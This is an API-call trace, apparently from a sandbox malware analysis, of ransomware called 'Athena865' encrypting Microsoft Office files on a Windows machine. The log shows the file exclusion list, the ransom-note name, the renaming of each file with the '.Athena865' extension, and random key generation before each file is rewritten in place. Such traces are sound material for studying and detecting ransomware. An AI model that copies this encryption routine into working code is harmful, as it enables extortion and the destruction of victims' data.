(lpString1="WINPROJ.DEV_K_COL.HXK", lpString2="ids.txt") returned 1 [0148.767] lstrcmpiW (lpString1="WINPROJ.DEV_K_COL.HXK", lpString2="ntuser.dat") returned 1 [0148.767] lstrcmpiW (lpString1="WINPROJ.DEV_K_COL.HXK", lpString2="perflogs") returned 1 [0148.767] lstrcmpiW (lpString1="WINPROJ.DEV_K_COL.HXK", lpString2="MSBuild") returned 1 [0148.767] lstrlenW (lpString="WINPROJ.DEV_K_COL.HXK") returned 21 [0148.767] lstrcpyW (in: lpString1=0x241e8a8, lpString2="WINPROJ.DEV_K_COL.HXK" | out: lpString1="WINPROJ.DEV_K_COL.HXK") returned="WINPROJ.DEV_K_COL.HXK" [0148.767] lstrlenW (lpString="WINPROJ.DEV_K_COL.HXK") returned 21 [0148.767] lstrlenW (lpString="Athena865") returned 9 [0148.767] lstrcmpiW (lpString1="K_COL.HXK", lpString2="Athena865") returned 1 [0148.767] lstrlenW (lpString=".dll") returned 4 [0148.767] lstrcmpiW (lpString1="WINPROJ.DEV_K_COL.HXK", lpString2=".dll") returned 1 [0148.767] lstrlenW (lpString=".lnk") returned 4 [0148.767] lstrcmpiW (lpString1="WINPROJ.DEV_K_COL.HXK", lpString2=".lnk") returned 1 [0148.767] lstrlenW (lpString=".ini") returned 4 [0148.767] lstrcmpiW (lpString1="WINPROJ.DEV_K_COL.HXK", lpString2=".ini") returned 1 [0148.767] lstrlenW (lpString=".sys") returned 4 [0148.767] lstrcmpiW (lpString1="WINPROJ.DEV_K_COL.HXK", lpString2=".sys") returned 1 [0148.767] lstrlenW (lpString="WINPROJ.DEV_K_COL.HXK") returned 21 [0148.767] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_K_COL.HXK.Athena865") returned 79 [0148.767] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev_k_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_K_COL.HXK.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev_k_col.hxk.athena865"), dwFlags=0x1) returned 1 [0148.769] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_K_COL.HXK.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev_k_col.hxk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0148.769] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=113) returned 1 [0148.770] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0148.770] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0148.770] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0148.770] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0148.771] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0148.771] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0148.771] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x380, lpName=0x0) returned 0x17c [0148.773] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x380) returned 0x100000 [0148.773] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0148.774] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0148.774] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0148.774] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540fa0 [0148.774] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540fa0 | out: hHeap=0x4f0000) returned 1 [0148.774] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0148.774] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0148.774] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0148.774] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0148.774] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x534d20 [0148.775] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0148.775] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534d20 | out: hHeap=0x4f0000) returned 1 [0148.775] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0148.775] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0148.775] CloseHandle (hObject=0x17c) returned 1 [0148.775] CloseHandle (hObject=0x154) returned 1 [0148.775] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0148.775] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0148.775] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0148.775] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91408700, ftCreationTime.dwHighDateTime=0x1ca8073, ftLastAccessTime.dwLowDateTime=0xaf5ea120, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x91408700, ftLastWriteTime.dwHighDateTime=0x1ca8073, nFileSizeHigh=0x0, nFileSizeLow=0x168406, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WINPROJ.HXS", cAlternateFileName="")) returned 1 [0148.775] lstrcmpiW (lpString1="WINPROJ.HXS", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0148.775] lstrcmpiW (lpString1="WINPROJ.HXS", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0148.775] lstrcmpiW (lpString1="WINPROJ.HXS", lpString2=".") returned 1 [0148.775] lstrcmpiW (lpString1="WINPROJ.HXS", lpString2="..") returned 1 [0148.775] lstrcmpiW (lpString1="WINPROJ.HXS", lpString2="windows") returned 1 [0148.776] lstrcmpiW (lpString1="WINPROJ.HXS", lpString2="bootmgr") returned 1 [0148.776] lstrcmpiW (lpString1="WINPROJ.HXS", lpString2="temp") returned 1 [0148.776] lstrcmpiW (lpString1="WINPROJ.HXS", lpString2="pagefile.sys") returned 1 [0148.776] lstrcmpiW (lpString1="WINPROJ.HXS", lpString2="boot") returned 1 [0148.776] lstrcmpiW (lpString1="WINPROJ.HXS", lpString2="ids.txt") returned 1 [0148.776] lstrcmpiW (lpString1="WINPROJ.HXS", lpString2="ntuser.dat") returned 1 [0148.776] lstrcmpiW (lpString1="WINPROJ.HXS", lpString2="perflogs") returned 1 [0148.776] lstrcmpiW (lpString1="WINPROJ.HXS", lpString2="MSBuild") returned 1 [0148.776] lstrlenW (lpString="WINPROJ.HXS") returned 11 [0148.776] lstrcpyW (in: lpString1=0x241e8a8, lpString2="WINPROJ.HXS" | out: lpString1="WINPROJ.HXS") returned="WINPROJ.HXS" [0148.776] lstrlenW (lpString="WINPROJ.HXS") returned 11 [0148.776] lstrlenW (lpString="Athena865") returned 9 [0148.776] lstrcmpiW (lpString1="NPROJ.HXS", lpString2="Athena865") returned 1 [0148.776] lstrlenW (lpString=".dll") returned 4 [0148.776] lstrcmpiW (lpString1="WINPROJ.HXS", lpString2=".dll") returned 1 [0148.776] lstrlenW (lpString=".lnk") returned 4 [0148.776] lstrcmpiW (lpString1="WINPROJ.HXS", lpString2=".lnk") returned 1 [0148.776] lstrlenW (lpString=".ini") returned 4 [0148.776] lstrcmpiW (lpString1="WINPROJ.HXS", lpString2=".ini") returned 1 [0148.776] lstrlenW (lpString=".sys") returned 4 [0148.776] lstrcmpiW (lpString1="WINPROJ.HXS", lpString2=".sys") returned 1 [0148.776] lstrlenW (lpString="WINPROJ.HXS") returned 11 [0148.776] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.HXS.Athena865") returned 69 [0148.776] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.HXS.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.hxs.athena865"), dwFlags=0x1) returned 1 [0148.779] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.HXS.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.hxs.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0148.779] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1475590) returned 1 [0148.779] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0148.779] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0148.779] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0148.779] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0148.780] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0148.780] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0148.780] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x168710, lpName=0x0) returned 0x17c [0148.782] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x168710) returned 0x2bb0000 [0148.839] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0148.840] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0148.840] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0148.840] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540fa0 [0148.840] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540fa0 | out: hHeap=0x4f0000) returned 1 [0148.840] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0148.840] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0148.840] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0148.840] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0148.840] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x534f48 [0148.840] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0148.840] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534f48 | out: hHeap=0x4f0000) returned 1 [0148.840] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0148.840] UnmapViewOfFile (lpBaseAddress=0x2bb0000) returned 1 [0148.853] CloseHandle (hObject=0x17c) returned 1 [0148.853] CloseHandle (hObject=0x154) returned 1 [0148.853] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0148.854] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0148.854] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0148.860] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c67200, ftCreationTime.dwHighDateTime=0x1c9ff32, ftLastAccessTime.dwLowDateTime=0xaf5ea120, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1c67200, ftLastWriteTime.dwHighDateTime=0x1c9ff32, nFileSizeHigh=0x0, nFileSizeLow=0x277, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WINPROJ_COL.HXC", cAlternateFileName="WINPRO~2.HXC")) returned 1 [0148.860] lstrcmpiW (lpString1="WINPROJ_COL.HXC", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0148.860] lstrcmpiW (lpString1="WINPROJ_COL.HXC", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0148.860] lstrcmpiW (lpString1="WINPROJ_COL.HXC", lpString2=".") returned 1 [0148.860] lstrcmpiW (lpString1="WINPROJ_COL.HXC", lpString2="..") returned 1 [0148.860] lstrcmpiW (lpString1="WINPROJ_COL.HXC", lpString2="windows") returned 1 [0148.860] lstrcmpiW (lpString1="WINPROJ_COL.HXC", lpString2="bootmgr") returned 1 [0148.860] lstrcmpiW (lpString1="WINPROJ_COL.HXC", lpString2="temp") returned 1 [0148.860] lstrcmpiW (lpString1="WINPROJ_COL.HXC", lpString2="pagefile.sys") returned 1 [0148.860] lstrcmpiW (lpString1="WINPROJ_COL.HXC", lpString2="boot") returned 1 [0148.860] lstrcmpiW (lpString1="WINPROJ_COL.HXC", lpString2="ids.txt") returned 1 [0148.860] lstrcmpiW (lpString1="WINPROJ_COL.HXC", lpString2="ntuser.dat") returned 1 [0148.860] lstrcmpiW (lpString1="WINPROJ_COL.HXC", lpString2="perflogs") returned 1 [0148.860] lstrcmpiW (lpString1="WINPROJ_COL.HXC", lpString2="MSBuild") returned 1 [0148.860] lstrlenW (lpString="WINPROJ_COL.HXC") returned 15 [0148.860] lstrcpyW (in: lpString1=0x241e8a8, lpString2="WINPROJ_COL.HXC" | out: lpString1="WINPROJ_COL.HXC") returned="WINPROJ_COL.HXC" [0148.860] lstrlenW (lpString="WINPROJ_COL.HXC") returned 15 [0148.860] lstrlenW (lpString="Athena865") returned 9 [0148.860] lstrcmpiW (lpString1="J_COL.HXC", lpString2="Athena865") returned 1 [0148.860] lstrlenW (lpString=".dll") returned 4 [0148.860] lstrcmpiW (lpString1="WINPROJ_COL.HXC", lpString2=".dll") returned 1 [0148.860] lstrlenW (lpString=".lnk") returned 4 [0148.861] lstrcmpiW (lpString1="WINPROJ_COL.HXC", lpString2=".lnk") returned 1 [0148.861] lstrlenW (lpString=".ini") returned 4 [0148.861] lstrcmpiW (lpString1="WINPROJ_COL.HXC", lpString2=".ini") returned 1 [0148.861] lstrlenW (lpString=".sys") returned 4 [0148.861] lstrcmpiW (lpString1="WINPROJ_COL.HXC", lpString2=".sys") returned 1 [0148.861] lstrlenW (lpString="WINPROJ_COL.HXC") returned 15 [0148.861] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXC.Athena865") returned 73 [0148.861] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj_col.hxc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXC.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj_col.hxc.athena865"), dwFlags=0x1) returned 1 [0148.864] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXC.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj_col.hxc.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0148.864] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=631) returned 1 [0148.864] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0148.864] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0148.864] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0148.865] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0148.865] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0148.865] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0148.865] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x580, lpName=0x0) returned 0x17c [0148.867] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x580) returned 0x100000 [0148.868] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0148.868] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0148.868] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0148.868] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540fa0 [0148.868] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540fa0 | out: hHeap=0x4f0000) returned 1 [0148.869] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0148.869] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0148.869] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0148.869] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0148.869] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x534d20 [0148.869] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0148.869] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534d20 | out: hHeap=0x4f0000) returned 1 [0148.869] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0148.869] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0148.869] CloseHandle (hObject=0x17c) returned 1 [0148.869] CloseHandle (hObject=0x154) returned 1 [0148.869] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0148.869] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0148.869] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0148.870] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d89a900, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0xaf5ea120, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6d89a900, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0xcf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WINPROJ_COL.HXT", cAlternateFileName="WINPRO~2.HXT")) returned 1 [0148.870] lstrcmpiW (lpString1="WINPROJ_COL.HXT", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0148.870] lstrcmpiW (lpString1="WINPROJ_COL.HXT", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0148.870] lstrcmpiW (lpString1="WINPROJ_COL.HXT", lpString2=".") returned 1 [0148.870] lstrcmpiW (lpString1="WINPROJ_COL.HXT", lpString2="..") returned 1 [0148.870] lstrcmpiW (lpString1="WINPROJ_COL.HXT", lpString2="windows") returned 1 [0148.870] lstrcmpiW (lpString1="WINPROJ_COL.HXT", lpString2="bootmgr") returned 1 [0148.870] lstrcmpiW (lpString1="WINPROJ_COL.HXT", lpString2="temp") returned 1 [0148.870] lstrcmpiW (lpString1="WINPROJ_COL.HXT", lpString2="pagefile.sys") returned 1 [0148.870] lstrcmpiW (lpString1="WINPROJ_COL.HXT", lpString2="boot") returned 1 [0148.870] lstrcmpiW (lpString1="WINPROJ_COL.HXT", lpString2="ids.txt") returned 1 [0148.870] lstrcmpiW (lpString1="WINPROJ_COL.HXT", lpString2="ntuser.dat") returned 1 [0148.870] lstrcmpiW (lpString1="WINPROJ_COL.HXT", lpString2="perflogs") returned 1 [0148.870] lstrcmpiW (lpString1="WINPROJ_COL.HXT", lpString2="MSBuild") returned 1 [0148.870] lstrlenW (lpString="WINPROJ_COL.HXT") returned 15 [0148.870] lstrcpyW (in: lpString1=0x241e8a8, lpString2="WINPROJ_COL.HXT" | out: lpString1="WINPROJ_COL.HXT") returned="WINPROJ_COL.HXT" [0148.870] lstrlenW (lpString="WINPROJ_COL.HXT") returned 15 [0148.870] lstrlenW (lpString="Athena865") returned 9 [0148.870] lstrcmpiW (lpString1="J_COL.HXT", lpString2="Athena865") returned 1 [0148.870] lstrlenW (lpString=".dll") returned 4 [0148.870] lstrcmpiW (lpString1="WINPROJ_COL.HXT", lpString2=".dll") returned 1 [0148.870] lstrlenW (lpString=".lnk") returned 4 [0148.870] lstrcmpiW (lpString1="WINPROJ_COL.HXT", lpString2=".lnk") returned 1 [0148.870] lstrlenW (lpString=".ini") returned 4 [0148.870] lstrcmpiW (lpString1="WINPROJ_COL.HXT", lpString2=".ini") returned 1 [0148.870] lstrlenW (lpString=".sys") returned 4 [0148.870] lstrcmpiW (lpString1="WINPROJ_COL.HXT", lpString2=".sys") returned 1 [0148.871] lstrlenW (lpString="WINPROJ_COL.HXT") returned 15 [0148.871] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXT.Athena865") returned 73 [0148.871] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj_col.hxt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXT.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj_col.hxt.athena865"), dwFlags=0x1) returned 1 [0148.872] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXT.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj_col.hxt.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0148.873] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=207) returned 1 [0148.873] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0148.874] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0148.874] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0148.874] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0148.876] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0148.876] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0148.876] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3d0, lpName=0x0) returned 0x17c [0148.878] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3d0) returned 0x100000 [0148.879] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0148.879] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0148.879] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0148.880] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540fa0 [0148.880] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540fa0 | out: hHeap=0x4f0000) returned 1 [0148.880] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0148.880] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0148.880] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0148.880] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0148.880] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x534f48 [0148.880] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0148.880] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534f48 | out: hHeap=0x4f0000) returned 1 [0148.880] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0148.880] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0148.880] CloseHandle (hObject=0x17c) returned 1 [0148.880] CloseHandle (hObject=0x154) returned 1 [0148.880] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0148.880] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0148.880] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0148.881] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d89a900, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0xaf5ea120, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6d89a900, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x72, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WINPROJ_F_COL.HXK", cAlternateFileName="WINPRO~3.HXK")) returned 1 [0148.881] lstrcmpiW (lpString1="WINPROJ_F_COL.HXK", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0148.881] 